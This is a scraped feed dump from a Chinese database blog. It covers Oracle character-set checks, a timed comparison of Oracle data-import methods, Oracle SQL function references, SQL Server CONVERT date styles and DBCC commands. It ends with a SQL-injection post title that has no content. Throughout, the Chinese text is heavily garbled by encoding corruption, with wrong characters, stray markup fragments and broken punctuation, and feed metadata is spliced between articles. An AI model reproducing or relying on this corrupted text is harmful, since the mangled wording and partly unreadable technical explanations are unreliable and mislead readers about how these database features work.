二、如何查?/span>Oracle的字W集
ORACLE?/span>三方面的字符集,一?/span>oracel server端的字符集,二是oracle client端的字符?/span>;三是dmp文g的字W集。在做数据导入的时候,需要这三个字符集都一致才能正导入?/span>
--查看oracel server端的字符?/span>
select userenv('language') from dual;
1             SIMPLIFIED CHINESE_CHINA.AL32UTF8
--查看dmp文g的字W集
?/span>oracle?/span>exp工具导出?/span>dmp文g也包含了字符集信息,dmp文g的第2和第3个字节记录了dmp文g的字W集。如?/span>dmp文g不大Q比如只有几M或几?/span>MQ可以用UltraEdit打开(16q制方式)Q看W?/span>2W?/span>3个字节的内容Q如0354Q然后用以下SQL查出它对应的字符?/span>:
select nls_charset_name(to_number('0354','xxxx')) from dual
--查看oracel client?/span>?/span>字符?/span>
  是注册表里面相应OracleHome?/span>NLS_LANG。还可以?/span>dosH口里面自己讄Q比?/span>:
  set nls_lang=AMERICAN_AMERICA.ZHS16GBK
  q样只影响q个H口里面的环境变?/span>


]]>
Oracle 数据导入Ҏ比较http://www.aygfsteel.com/19851985lili/articles/110340.html☜♥☞MengChuChen☜♥☞MengChuChenFri, 13 Apr 2007 01:02:00 GMThttp://www.aygfsteel.com/19851985lili/articles/110340.htmlhttp://www.aygfsteel.com/19851985lili/comments/110340.htmlhttp://www.aygfsteel.com/19851985lili/articles/110340.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/110340.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/110340.html每个数据库管理员都会面数据导入的问题,q有可能发生在数据库的新老移植过E中Q或者是在数据库崩溃后的恢复重徏q程中,q有可能是在创徏试数据库的模拟环境q程中,M作ؓ一名合格的数据库管理员Q你应该做好接受各种数据导入h的技术储备,同时q要量满人本能的对导入速度的苛求。本文仅针对 Oracle 数据库所提供的加速数据导入的各种Ҏ和技术进行探讨,其中的一些方法也可以转化应用于其他数据库。以下七U数据导入方法哪个最适用需要针对具体情况具体分析,我也附带列D了媄响导入速度的各U因素供斟酌。ؓ了比较各U数据导入方法的效果Q我创徏了示例表和数据集Qƈ用各U方法导入示例数据集来计M导入旉和导入进E占?CPU 旉Q这里得出的旉仅供参考。需要说明的是,你?Oracle 9i 企业版数据库Q当然你也可以尝试?Oracle 7.3 以上的标准版数据库。本文用的机器配置为:CPU Intel P4Q内?256MQ数据库 Oracle 9i 企业?/font>

     CZ表结构和数据?br>Z演示和比较各U数据导入方法,我假定数据导入Q务是外部文件数据导入到 Oracle 数据库的CALLS表中Q外部数据文件包含十万条呼叫中心记录Q将q?6MB 的文件大,具体的数据示例如?

82302284384,2003-04-18:13:18:58,5001,投诉,手机三包l修质量82302284385,2003-04-18:13:18:59,3352,咨询,供水热线的号?2302284386,2003-04-18:13:19:01,3142,,增设公交U\
接受导入数据的表名是 CALLSQ表l构如下Q?/font>

      Name              Null?          Type                  Comment     ------------      ---------      -------------         -----------------     CALL_ID           NOT NULL       NUMBER                Primary key     CALL_DATE         NOT NULL       DATE                  Non-unique index     EMP_ID            NOT NULL       NUMBER     CALL_TYPE         NOT NULL       VARCHAR2(12)     DETAILS                         VARCHAR2(25)

逐条数据插入INSERT
     数据导入的最单方法就是编?INSERT 语句Q将数据逐条插入数据库。这U方法只适合导入量数据Q如 SQL*Plus 脚本创徏某个表的U子数据。该Ҏ的最大缺点就是导入速度~慢Q占用了大量?CPU 处理旉Q不适合大批量数据的导入Q而其主要优点是导入构思简单又有修改完善的Ҏ,不需要多做其它的准备可以用。如果你有很多时间没法打发,又想折磨一下数据库?CPUQ那q种Ҏ正适合你?)
     Z与其它方法做比较Q现十万条记录通过此方法导入到 CALLS 表中Qd消?172 U,其中导入q程占用 CPU 旉?52 U?/font>

逐条数据插入 INSERTQ表暂无索引
     Z么上一U方法占用了较多?CPU 处理旉Q关键是 CALLS 表中已创Z索引Q当一条数据插入到表中ӞOracle 需要判别新数据与老数据在索引斚w是否有冲H,同时要更新表中的所有烦引,重复更新索引会消耗一定的旉。因此提高导入速度的好办法是在创时先不创建烦引或者在导入数据之前删除所有烦引,在外部文件数据逐条插入到表中后再统一创徏表的索引。这样导入速度会提高,同时创徏的烦引也很紧凑而有效,q一原则同样适用于位囄引(Bitmap IndexQ。对于主要的和唯一的关键约?key constraints)Q可以之先暂时失效(disabling)或者删除约束来获得同样的效果,当然q些做法会对已经存在的表的外键约束生相关的影响Q在删除前需要通盘斟酌?br>    
需要说明的是,q种Ҏ在表中已存在很多数据的情况下不太合适。例如表中已有九千万条数据,而此旉要追加插入一千万条数据,实际导入数据节省的时间将会被重新创徏一亿条数据的烦引所消耗殆,q是我们不希望得到的l果。但是,如果要导入数据的表是I的或导入的数据量比已有的数据量要大得多Q那么导入数据节省的旉会量用于重新创徏索引Q这时该Ҏ才可以考虑使用?br>    加快索引创徏是另一个需要考虑的问题。ؓ了减烦引创Z排序的工作时_可以在当前会话中增加 SORT_AREA_SIZE 参数的大,该参数允许当前会话在内存的烦引创E中执行更多的排序操作。同栯可以使用 NOLOGGING 关键字来减少因创建烦引而生成的 REDO 日志量,NOLOGGING 关键字会Ҏ据库的恢复和 Standby 备用数据库生明昄影响Q所以在使用之前要仔l斟酌,到底是速度优先q是E_优先?br>q用q种ҎQ先删除 CALLS 表的主键和不唯一的烦引,然后逐条导入数据Q完成后重新创徏索引( 表在导入数据前是I的)。该Ҏd消?130 U,包括重徏索引的时_其中导入q程占用 CPU 旉?35U?br>    q种Ҏ的优Ҏ可以加快导入的速度q索引更加紧凑有效Q缺Ҏ~Z通用性,当你对表增加新的复杂的模式元素(索引、外键等Q时你需要添加代码、修改导入执行程序。另外针?7*24 在线要求的数据库在线导入操作Ӟ删除表的索引会对在线用户的查询有很大的性能影响Q同时也要考虑Q主要或唯一的关键约束条件的删除或失效可能会影响到引用它们的外键的用?/font>

扚w插入Q表暂无索引
     在Oracle V6 ?OCI ~程接口加入了数l接口特性。数l操作允许导入程序读取外部文件数据ƈ解析后,向数据库提交SQL语句Q批量插?SQL 语句索出的数据。Oracle 仅需要执行一?SQL 语句Q然后在内存中批量解析提供的数据。批量导入操作比逐行插入重复操作更有效率Q这是因为只需一ơ解?SQL 语句Q一些数据绑订操作以及程序与数据库之间来回的操作都显著减,而且数据库对每一条数据的操作都是重复可知的,q给数据库提供了优化执行的可能。其优点是数据导入的M旉明显减少Q特别是q程占用 CPU 的时间?br>    
需要提醒的是,通过 OCI 接口实可以执行数据扚w导入操作Q但是许多工具和脚本语言却不支持使用此功能。如果要使用该方法,需要研I你所使用的开发工h否支?OCI 扚w操作功能。导入程序需要进行复杂的~码q可能存在错误的风险Q缺乏一定的Ҏ?br>    q用上述ҎQ程序将外部数据提取到内存中的数l里Qƈ执行扚w插入操作Q?00?ơ)Q保留了表的删除/重徏索引操作Qȝ导入旉下降?14 U,而进E占?CPU 的时间下降到7U,可见实际导入数据所p的时间显著下降了 95%?/font>

CREATE TABLE AS SELECTQ用Oracle9i的External Table
     Oracle 9i 的一ҎҎ就?External TableQ它p通常的数据库表一P拥有字段和数据类型约束,q且可以查询Q但是表中的数据却不存储在数据库中,而是在与数据库相兌的普通外部文仉。当你查?External Table ӞOracle 解析该文gq返回符合条件的数据Q就象该数据存储在数据库表中一栗?br>    
需要注意的是,你可以在查询语句中将 External Table 与数据库中其他表q行q接QJoinQ,但是不能l?External Table 加上索引Qƈ且不能插?更新/删除数据Q毕竟它不是真正的数据库表。另外,如果与数据库相关联的外部文g被改变或者被删除Q这会媄响到 External Table q回查询l果Q所以在变动前要先跟数据库打招呼?br>    q种Ҏ为导入数据打开了新的一扇门。你可以很容易的外部文件与数据库相兌Qƈ且在数据库中创徏对应?External TableQ然后就可以立即查询数据Q就象外部数据已l导入到数据库表中一栗唯一的不需要明,数据q未真正导入到数据库中,当外部文件被删除或覆盖时Q数据库不能访?External Table 里的数据Q而且索引没有被创建,讉K数据速度有所~慢。创?CALLS_EXTERNALQExternal Table表)如下Q之与外部数据文g兌Q?br>  CREATE TABLE calls_external (call_id NUMBER, call_date DATE, emp_id NUMBER, call_type VARCHAR2(12), details VARCHAR2(25)) ORGANIZATION EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY extract_files_dir ACCESS PARAMETERS (RECORDS DELIMITED BY NEWLINE FIELDS TERMINATED BY ',' MISSING FIELD VALUES ARE NULL (call_id, call_date CHAR DATE_FORMAT DATE MASK "yyy-mm-dd:hh24:mi:ss", emp_id, call_type, details ) ) LOCATION ('calls.dat')         );  
然后?External Table 与真正被使用的表 CALLS 兌同步Q删?CALLS 表ƈ重徏它:

     CREATE TABLE calls         (         call_id     NUMBER   NOT NULL,         call_date   DATE    NOT NULL,         emp_id     NUMBER   NOT NULL,         call_type   VARCHAR2(12) NOT NULL,         details   VARCHAR2(25)         )         TABLESPACE tbs1 NOLOGGING         AS         SELECT call_id, call_date, emp_id, call_type, details         FROM    calls_external;  
     因ؓ CALLS 表是真正的数据库表,可以创徏索引来加快访问,表中的数据将被保留,即外部数据文g被更新或被删除。在语句中NOLOGGING关键字用于加快烦引重建?br>    
q用q种Ҏ导入数据Qȝ导入旉?15 U,q程占用 CPU 的时间ؓ8U,q比前一U方法稍微慢些,但不能就此认Z?External Table 导入数据一定比 OCI 扚w插入慢?br>    q种Ҏ的优ҎQ未l进行大量的~写代码取得了不错的结果,不象 OCI 扚w插入存在~码错误风险Q它q可以?dbms_job 包调度数据导入进E,实现数据导入的自动化。其~点是目标表必须先删除后重徏Q如果只需要导入增量数据时此方法就不合适了Q另外用户在表的重徏q程中访问数据时会遇?"table or view does not exist" 的错误,它仅适用?Oracle 9i 以上版本的数据库?/font>

INSERT Append as SELECTQ?Oracle9i ?External Table
     上一U方法演CZ如何创徏与外部数据文件关联的数据库表Q其表的数据是由外部数据文g映射q来。缺Ҏ数据库表需要被先删除再重徏来保持与外部数据文g的一致和同步Q对导入增量的数据而不需要删除已有数据的情况不合适。针对这U需求,Oracle 提供?INSERT 语句外带 APPEND 提示来满?br>
     INSERT     /*+ APPEND */ INTO calls             (call_id, call_date, emp_id, call_type, details)    SELECT call_id, call_date, emp_id, call_type, details      FROM calls_external;
该语句读取引用外部数据文件的 CALLS_EXTERNAL 表中内容Qƈ之增加到表 CALLS 中。Append 提示告诉 Oracle 使用快速机制来插入数据Q同时可以配合用表?NOLOGGING 关键字?br>    
可以预见q种Ҏ与前一Ҏ消耗了相同的时_毕竟它们是?External Table Ҏ导入数据的不同阶段解决Ҏ。如果目标表不是I的Q那会消耗稍微长的时_因ؓ要重建更长的索引Q,而前一 CREATE TABLE as SELECT Ҏ是整体创建烦引?/font>

SQL*Loader的强大功?br>     SQL*Loader ?Oracle 提供的导入实用程序,特别针对从外部文件导入大扚w数据q入数据库表。该工具已经有多q的历史Q每一ơ版本升U都使其更加强大、灵zd快捷Q但遗憾的是它的语法却是秘而不直观Qƈ且只能从命o行窗口处q行调用?br>    管它有不直观的~点Q但却是最快最有效的导入数据方法。缺省情况下它?"conventional path" 常规选项来批量导入数据,其性能提高度ƈ不明显。我使用更快速的导入参数选项Q在命o行添?direct=true" 选项调用 "direct path" 导入选项。在 "direct path" 导入实现中,E序在数据库表的新数据块?high water mark 处直接写入导入数据,~短了数据插入的处理旉Q同时优化用了非常有效的B+二叉树方法来更新表的索引?br>    q用q种ҎQ如果用缺省的 conventional path 导入选项Qȝ导入旉?81 U,q程占用 CPU 旉大约?12 U,q包括了更新表的索引旉。如果?direct path 导入选项Qȝ导入旉竟是 9 U,q程占用 CPU 旉也仅仅是 3 U,也包括了更新表的索引旉?br>    由此可见Q尽表中的索引在数据导入之前ƈ没有被删除,使用SQL*Loader的direct path 导入选项仍然是快速和有效的。当然它也有~点Q就像NOLOGGING关键字一栯Ҏ不生成REDO日志数据Q导入进E出错后无法恢复到先前状态;在数据导入过E中表的索引是不起作用的Q用h时访问该表时出现迟~,当然在数据导入的q程中最好不要让用户讉K表?/font>

分区交换 (Partition Exchange)
     以上讨论的数据导入方法都有一个限Ӟ是要求用户在导入数据完成之后才可以讉K数据库表。面?×24不间断访问数据库来说Q如果我们只是导入需要增加的数据Ӟq种限制对用户的实时访问生媄响。Oracle在这斚w提供了表分区功能Q它可以减少导入数据操作对用户实时访问数据的影响Q操作模式就象用可热插拔的盘一P只不q这里的盘换成了分区(PartitionQ而已。需要声明的?Partitioning 分区功能只有在企业版数据库中才提供?br>    
在一个被分区q的表中Q呈现给用户的表是多个分区段QsegmentsQ的集合。分区可以在需要时被添加,在维护时被卸载或删除Q分可以和数据库中的表交换数据,只要它们的表l构和字D늱型是一致的Q交换后的分拥有与之互动的表的数据。需要注意的是,q种交换只是在Oracle数据库的数据字典层面上进行,q没有数据被实际UdQ所以分交换是极其快速的?br>    Z创徏实验环境Q先假设CALLS表是个分Q要创徏一个空的分区PART_01012004Q用来保?004q??日的呼叫数据。然后需要再创徏一临时表ؓCALLS_TEMPQ该表与CALLS表拥有相同的字段和数据类型?br>    我们使用先前介绍的导入方法将十万条数据导入到CALLS_TEMP表中Q可以耐心{待数据完全导入到CALLS_TEMP表中Qƈ且创建好索引和相关约束条Ӟ所有这一切操作ƈ不媄响用户实时访问CALLS表,因ؓ我们只对CALLS_TEMP临时表进行了操作。一旦数据导入完成,CALLS_TEMP表就存有2004q??日的呼叫数据。同时利用CALLS表中名ؓPART_01012004的空分区Q用如下语句执行分Z换:
        ALTER   TABLE   calls          EXCHANGE   PARTITION   part_01012004 WITH   TABLE calls_temp          INCLUDING   INDEXES   WITHOUT   VALIDATION;
     分区交换操作非常快速地只更新CALLS表的数据字典QPART_01012004分区表即L有CALLS_TEMP表的所有数据,而CALLS_TEMP表变为空表。假定CALLS表用局部烦引而非全局索引Q上q语句中的INCLUDING INDEXES保证分Z换包括烦引的可用性,WITHOUT VALIDATION 指明不检查交替表中数据的匚wQ加快了交换的速度?/font>

l论
     以上探讨了Oracle数据库的多种数据导入ҎQ每U方法都有其优缺点和适用环境Q能够满你不同的导入需求,当然你需要在了解了这些方法后Q在速度、简易性、灵zL、可恢复性和数据可用性之间寻求最佛_入方案?/font>

     ZҎ各种Ҏ的效果,我们创徏了一个实例来展示各种Ҏ的导入效率和效果Q从中你可以选择最适合的方法用于今后的数据导入工作。同时请CQ本文ƈ未囊括所有的ORACLE数据导入技术(比如q行数据导入技术)Q这需要我们l不懈的探烦和尝试?

数据导入Ҏ M导入旉(U? 导入q程占用CPU旉(U?
逐条数据插入INSERT 172   52
逐条数据插入INSERTQ表暂无索引 130   35
扚w插入Q表暂无索引   14   7
Create As SelectQ用Oracle9i的External Table 15 8
INSERT Append as SELECTQ用Oracle9i的External Table   15 8
SQL*Loader conventional path ~省导入选项 81   12
SQL*Loader direct path 导入选项   9   3

数值函敎ͼ
abs(m) m的绝对?
mod(m,n) m被n除后的余?
power(m,n) m的nơ方
round(m[,n]) m四舍五入臛_数点后n位的|n~省?Q?
trunc(m[,n]) m截断n位小C的|n~省?Q?


字符函数Q?
initcap(st) q回st每个单词的首字母大写,所有其他字母小?
lower(st) q回st每个单词的字母全部写
upper(st) q回st每个单词的字母全部大写
concat(st1,st2) q回st为st2接st1的末(可用操作W?||"Q?
lpad(st1,n[,st2]) q回叛_齐的st,st为在st1的左边用st2填充直至长度为n,st2的缺省ؓI格
rpad(st1,n[,st2]) q回左对齐的st,st为在st1的右边用st2填充直至长度为n,st2的缺省ؓI格
ltrim(st[,set]) q回st,stZ左边删除set中字W直到第一个不是set中的字符。缺省时Q指的是I格
rtrim(st[,set]) q回st,stZ双删除set中字W直到第一个不是set中的字符。缺省时Q指的是I格
replace(st,search_st[,replace_st]) 每ơ在st中出现的search_st用replace_st替换Q返回一个st。缺省时Q删除search_st
substr(st,m[,n]) n=q回st串的子串Q从m位置开始,取n个字W长。缺省时Q一直返回到st末端
length(st) 数|q回st中的字符?
instr(st1,st2[,m[,n]]) 数|q回st1从第m字符开始,st2Wnơ出现的位置Qm及n的缺省gؓ1
例:
1.
select initcap('THOMAS'),initcap('thomas') from test;
initca initca
------ ------
Thomas Thomas
2.
select concat('abc','def') "first" from test;
first
-----
abcdef
3.
select 'abc'||' '||'def' "first" from test;
first
-----
abc def
4.
select lpad(name,10),rpad(name,5,'*') from test;
lpad(name,10) rpad(name,5,'*')
------------ ----------------
mmx mmx**
abcdef abcde
5.
L地址字段末端的点及单词st和rd
select rtrim(address,'. st rd') from test
6.
select name,replace(name,'a','*') from test;
name replace(name,'a','*')
---- ---------------------
great gre*t
7.
select substr('archibald bearisol',6,9) a,substr('archibald bearisol',11) b from test;
a b
------- -------
bald bear bearisol
8.
select name,instr(name,' ') a,instr(name,' ',1,2) b from test;
name a b
------- -------- ---------
li lei 3 0
l i l 2 4

转换函数Q?
nvl(m,n) 如果mgؓnull,q回n,否则q回m
to_char(m[,fmt]) m从一个数D{换ؓ指定格式的字W串fmt~省Ӟfmt值的宽度正好能容Ux有的有效数字
to_number(st[,fmt]) st从字W型数据转换成按指定格式的数|~省时数值格式串的大正好ؓ整个?
附:
to_char()函数的格式:
---------------------------------
W号 说明
---------------------------------
9 每个9代表l果中的一位数?
0 代表要显C的先导0
$ 元W号打印在数的左?
L L的当地货币符?
. 打印十进制的数?
, 打印代表千分位的逗号
---------------------------------
例:
1.
select to_number('123.45')+to_number('234.56') form test;
to_number('123.45')+to_number('234.56')
----------------------------------------
358.01
2.
select to_char(987654321) from test;
to_char(987654321)
------------------
987654321
3.
select to_char(123,'$9,999,999') a,to_char(54321,'$9,999,999') b,to_char(9874321,'$9,999,999') c from test;
a b c
------- ---------- -----------
$123 $54,321 $9,874,321
4.
select to_char(1234.1234,'999,999.999') a,to_char(0.4567,'999,999.999') b,to_char(1.1,'999,999.999') from test;
a b c
--------- ---------- ------------
1,234.123 .457 1.100


分组函数Q?
avg([distinct/all] n) 列n的^均?
count([all] *) q回查询范围内的行数包括重复值和I?
count([distinct/all] n) 非空值的行数
max([distinct/all] n) 该列或表辑ּ的最大?
min([distinct/all] n) 该列或表辑ּ的最?
stdev([distinct/all] n) 该列或表辑ּ的标准偏差,忽略I?
sum([distinct/all] n) 该列或表辑ּ的d
variance([distinct/all] n) 该列或表辑ּ的方差,忽略I?

日期函数Q?
add_months(d,n) 日期d加n个月
last_day(d) 包含d的月份的最后一天的日期
month_between(d,e) 日期d与e之间的月份数Qe先于d
new_time(d,a,b) a时区的日期和旉d在b时区的日期和旉
next_day(d,day) 比日期d晚,由day指定的周几的日期
sysdate 当前的系l日期和旉
greatest(d1,d2,...dn) l出的日期列表中最后的日期
least(d1,k2,...dn) l出的日期列表中最早的日期
to_char(d [,fmt]) 日期d按fmt指定的格式{变成字符?
to_date(st [,fmt]) 字符串st按fmt指定的格式{成日期|若fmt忽略Qst要用~省格式
round(d [,fmt]) 日期d按fmt指定格式舍入到最q的日期
trunc(d [,fmt]) 日期d按fmt指定格式截断到最q的日期
附:
日期格式Q?
Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-
格式代码  说明 举例或可取值的范围
Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-
DD 该月某一?1Q?
DY    三个大写字母表示的周?SUNQ?..SAT
DAY    完整的周几,大写英文 SUNDAYQ?..SATURDAY
MM 月䆾 1Q?2
MON      三个大写字母表示的月?JANQ?..DEC
MONTH 完整 JANUARY,...DECEMBER
RM 月䆾的罗马数?I,...XII
YY或YYYY 两位Q四位数字年
HH:MI:SS   Ӟ分:U?
HH12或HH24  ?2时?4时昄
MI      ?
SS      U?
AM或PM    上下午指C符
SP      后缀SP要求拼写ZQ何数值字D?
TH      后缀TH表示d的数字是序数 4th,1st
FM 前缀Ҏ或日或年|止填充
Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q-Q?
例:
1.
下一个周五的日期
select next_day(sysdate,6) from test;
2.
两个月前的今天的日期
select add_months(sysdate,-2) from test;





]]>
SQL Server 日期格式转换(Convert用法)DBCC命o详解http://www.aygfsteel.com/19851985lili/articles/110326.html☜♥☞MengChuChen☜♥☞MengChuChenFri, 13 Apr 2007 00:31:00 GMThttp://www.aygfsteel.com/19851985lili/articles/110326.htmlhttp://www.aygfsteel.com/19851985lili/comments/110326.htmlhttp://www.aygfsteel.com/19851985lili/articles/110326.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/110326.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/110326.htmlSQL Server 日期格式转换(Convert用法

       SQL Server中,Convert可以日期{换成不同格式Q格式控制是由CONVERT (data_type[(length)], expression [, style])中的style来完成的。下面列Zstyle取各U值时的效果:

        在表中,左侧的两列表C将 datetime ?smalldatetime 转换为字W数据的 style 倹{给 style 值加 100Q可获得包括世纪C的四位年?(yyyy)?/p>

不带世纪C (yy) 带世U数?(yyyy)
标准

输入/输出**
- 0 ?100 (*) 默认?/td> mon dd yyyy hh:miAMQ或 PMQ?/td>
1 101 mm/dd/yyyy
2 102 ANSI yy.mm.dd
3 103 英国/法国 dd/mm/yy
4 104 德国 dd.mm.yy
5 105 意大?/td> dd-mm-yy
6 106 - dd mon yy
7 107 - mon dd, yy
8 108 - hh:mm:ss
- 9 ?109 (*) 默认?+ 毫秒 mon dd yyyy hh:mi:ss:mmmAMQ或 PMQ?/td>
10 110 mm-dd-yy
11 111 日本 yy/mm/dd
12 112 ISO yymmdd
- 13 ?113 (*) Ƨ洲默认?+ 毫秒 dd mon yyyy hh:mm:ss:mmm(24h)
14 114 - hh:mi:ss:mmm(24h)
- 20 ?120 (*) ODBC 规范 yyyy-mm-dd hh:mm:ss[.fff]
- 21 ?121 (*) ODBC 规范Q带毫秒Q?/td> yyyy-mm-dd hh:mm:ss[.fff]
- 126(***) ISO8601 yyyy-mm-dd Thh:mm:ss:mmmQ不含空|
- 130* U威?/td> dd mon yyyy hh:mi:ss:mmmAM
- 131* U威?/td> dd/mm/yy hh:mi:ss:mmmAM

*      默认|style 0 ?100? ?109?3 ?113?0 ?120?1 ?121Q始l返回世U数?(yyyy)?br>** 当{换ؓ datetime 时输入;当{换ؓ字符数据时输出?br>*** 专门用于 XML。对于从 datetime ?smalldatetime ?character 数据的{换,输出格式如表中所C。对于从 float?strong>money ?smallmoney ?character 数据的{换,输出{同?style 2。对于从 real ?character 数据的{换,输出{同?style 1?/p>

重要    默认情况下,SQL Server Ҏ截止q䆾 2049 解释两位数字的年份。即Q两位数字的q䆾 49 被解释ؓ 2049Q而两位数字的q䆾 50 被解释ؓ 1950。许多客L应用E序Q例如那些基?OLE 自动化对象的客户端应用程序)都?2030 作ؓ截止q䆾。SQL Server 提供一个配|选项Q?两位数字的截止年?Q,借以更改 SQL Server 所使用的截止年份ƈҎ期进行一致性处理。然而最安全的办法是指定四位数字q䆾?/p>

 

        当从 smalldatetime 转换为字W数据时Q包含秒或毫U的样式在q些位置上显C零。当?datetime ?smalldatetime D行{换时Q可以通过使用适当?char ?varchar 数据cd长度来截断不需要的日期部分?/p>

       如果惛_掉字W串中的分隔W,可以用replace函数。比如:replace(replace(replace(replace(convert(varchar(30),getdate(),121),'-',''),' ',''),':',''),'.','')

DBCC命o详解

         我们知道Q在数据库系l的开发和应用中,必须保证数据库的完整性和一致性?
当数据库出现了严重错误;当我们怀疑数据库受到破坏Q如无法用drop命o删除数据库或对象Q用某个表时出?#8220;不可靠数?#8221;的信息等Q;当用h变了Server的缺省排序的序或改变了字符集而需要检查;当SA对系l做定期查;q些时候,我们都需要用数据库一致性检查工PDatabase Consistenecy CheckerQ简UDBCCQ。DBCC是一个实用命令集Q用来检查一个数据库的逻辑一致性及物理一致性。在开发和应用中,DBCC是我们经常要使用的命令?

  DBCC命o的格式如?nbsp; 

dbcc
(checktable ((表名|表标? [, skip_ncindex] ) |
checkdb [(数据库名[, skip_ncindex] )] |
checkalloc [ (数据库名[, fix | nofix] )] |
tablealloc( {表名|表标识}
[Q{full |optimized |fast |null}
[, fix |nofix] ]]) |
indexalloc ( {表名|表标识}Q烦引标?br>[Q{full |optimezed | fast | null}
[, fix |nofix ]] ) |
checkcatalog [ (数据库名)] |
dbrepair(数据库名,dropdb ) |
reindex({表名|表标识} ) |
fix_text({表名|表标? }  

  dbcc的权限,对于checktable,fix_text和reindex是缺省赋l表的属主,对于checkdb,checkallocQcheckcatalog,dbrepairQindexalloc和tableallocQ是~省赋给数据库属ȝ。DBO自动获得DBCC命o和全部选项的权限。该权限不可转授。此外,dbcc在数据库是活动时q行Q除了dbrepair选项和带有fix选项的dbcc checkalloc以外?

  checktable选项

  checktable是用来对一个指定的表做查,保索引和数据页正确地连接,索引按正的序存储Q所有指针的一致性,每页上数据信息的合理性,偏Uȝ合理性。如果日志段在它自己的(日志Q设备上Q对syslogs表用dbcc checktable命o可以报告已用的和剩余的日志I间Q用skip_ncindex选项使得dbcc checktable跌对用戯上非聚簇索引Qnonclustered indexQ的查。缺省是查所有的索引?

  例1.查日志用的I间量和未用的空间量Q?

dbcc checktable (syslogs)  

  若日志段在日志设备上Q则会返回如下信息:

checking syslogs
The total number of data page in the table is 1.
NOTICE:Space used on the log segment is 0.20 Mbytes, 0.13%.
NOTICE:Space free on the log segment is 153.4Mbytes,99.87%.
DBCC execution Completed.If dbcc printed error messages,
Contact a user with SA role.  

  若日志不在它自己的设备上Q则会显CZ列信息:

NOTICE:Notification of log space used/free.
Can not be reported because the log segment is not on its own device.
?. dbcc checktable (titles)
The total number of data page in this table is 3.
Table has 18 data rows.
DBCC execution Completed. If DBCC printed error messages. contact a user with SA role.  

  checkdb选项

  q行checkdb选项同checktable查的内容一P但它是对一指定数据库中的每张表都做q样的检查。若未指定数据库名,checkdb查当前的数据库。checkdbq回的信息,也同于checktable?

  checkalloc选项

  checkalloc是检查指定数据库Q看其所有正分配的和未分配的页的情c若未指定数据库名,则checkalloc查当前数据库。checkalloc会返回已分配的和使用的空间数量。checkalloc的缺省模式ؓnofixQ要使用fix选项Q必L数据库置于单用户模式?

 例:

dbcc checkalloc (pubs2)
.
.
.
alloc page 0 (#of extent=32 used pages=68 ref pages=68)
alloc page 256 (# of extent=32 used pages=154 ref pages=154)
alloc page 512 (# of extent=28 used pages=184 ref pages=184)
alloc page 768 (# of extent=1 used pages=1 ref pages=1)
total (# of extent=93 used pages=407 ref pages=407) in this database.
DBCC execution completed.If dbcc printed error message,
Contact a user with System Adminstrator (SA) role.  

  tablealloc选项

  tablealloc查指定的表以保所有页都被正确地分配。它是checkalloc的羃版本。对单张表进行相同的完整性检查。用tablealloc可以生成三种cd的报表:full,optimized和fast。full选项相当于表一U的checkallocQ它报告各种cd的分配错误。optimized选项Z表的对象分配映像QOAMQ页里列出的分配는成报告。它q不报告Q也不能整理OAM里没有列出的在分配上没有引用的扩展(extentQ。如果没有指明类型,或用了nullQ则optimized选项是缺省的讄。fast选项Qƈ不生成分配报告,但生成一个被引用但ƈ没有在扩展里分配的页的额外的报告。fix|nofix选项军_tablealloc 是否整理表中发现的分配错误。对于所有的表,~省为fixQ但pȝ表除外,它们的缺省ؓnofix。要对系l表使用fix选项Q必首先将数据库置成单用户模式?

例:

dbcc tablealloc(titles)
昄信息如下Q?
The default report option of OPTIMIZED is used for this run. The default fix option of FIX.is used for this run.
.
.
.
Total #of extent=3
Alloc page 256 (# of extent=1 used pages=2 ref pages=2).
Alloc page 256(# of extent=1 used pages=2 ref pages=2)
Alloc page 256 (# of extent=1 used pages=2 ref pages=2)
Total (# of extent=3 used pages=8 ref pages=8) in this database.  

  indexalloc 选项

  indexalloc查指定的索引Q确保所有的都被正地分配Q它是checkalloc的羃版本,对单独一条烦引指定同L完整性检查。其中各选项与tablealloc相同?

  checkcatalog选项

  checkcatalog选项用于查系l表内,pȝ表之间的一致性。例如:它确保在syscolumns表中的每一Q数据)cd在systypes表中都有一个相匚w的记录;对于sysobjects中的每个表和视图在syscolumns表中应有关于它们每一列的描述记录Q确保在syslogs中的最后一个检查点是有效的。checkcatalog也报告Q何已定义的段。若不指定数据库名,则检查当前数据库?

  dbrepair选项

  dbrepairQ数据库名,dropdbQ选项是删除一个受破坏的数据库。受破坏的数据库是不能用drop database命o删除的,drop database只能删除正常的数据库Q当执行dbrepair命oӞM用户Q包括执行此命o的用P都不得用正被删除的数据库。该选项要在master库中q行?

  reindex选项

  reindex选项通过q行dbcc checktable?#8220;fast”执行方式查用戯上烦引的完整性。如果它出索引有问题则会删除ƈ重徏索引。在SQL Server的排列顺序改变之后,SA或表属主应该执行q一选项。此选项不能在用户定义的事务中运行?

例:

dbcc reindex (titles)
q回信息QOne or more indexes corrupt.They will be rebuilt.  

  fix_text选项

  SQL Server的字W集由单字节转变为多字节后,fix_text选项用于升文本倹{SQL Server的字W集由单字节转变为多字节字符集会使文本数据的理更加复杂。由于文本值可能较大以覆盖若q页QSQL Server必须能处理(通过늺束)可能横跨늚字符。ؓ做到q点Q服务器需要在每一文本上d一些信息。SA或表属主必须在文本数据的每一个表上运行dbcc fix_textQ以计算所需要的新页数?

  MQDBCC命o所q回的信息能准确地反映数据库及它的各个对象的状态,是我们检数据库的好帮手?/p>




]]>
详lSQL注入Ҏhttp://www.aygfsteel.com/19851985lili/articles/110318.html☜♥☞MengChuChen☜♥☞MengChuChenFri, 13 Apr 2007 00:00:00 GMThttp://www.aygfsteel.com/19851985lili/articles/110318.htmlhttp://www.aygfsteel.com/19851985lili/comments/110318.htmlhttp://www.aygfsteel.com/19851985lili/articles/110318.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/110318.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/110318.html详lSQL注入ҎQ对初学者有很大的帮助!对你没帮助就不要Ӟ

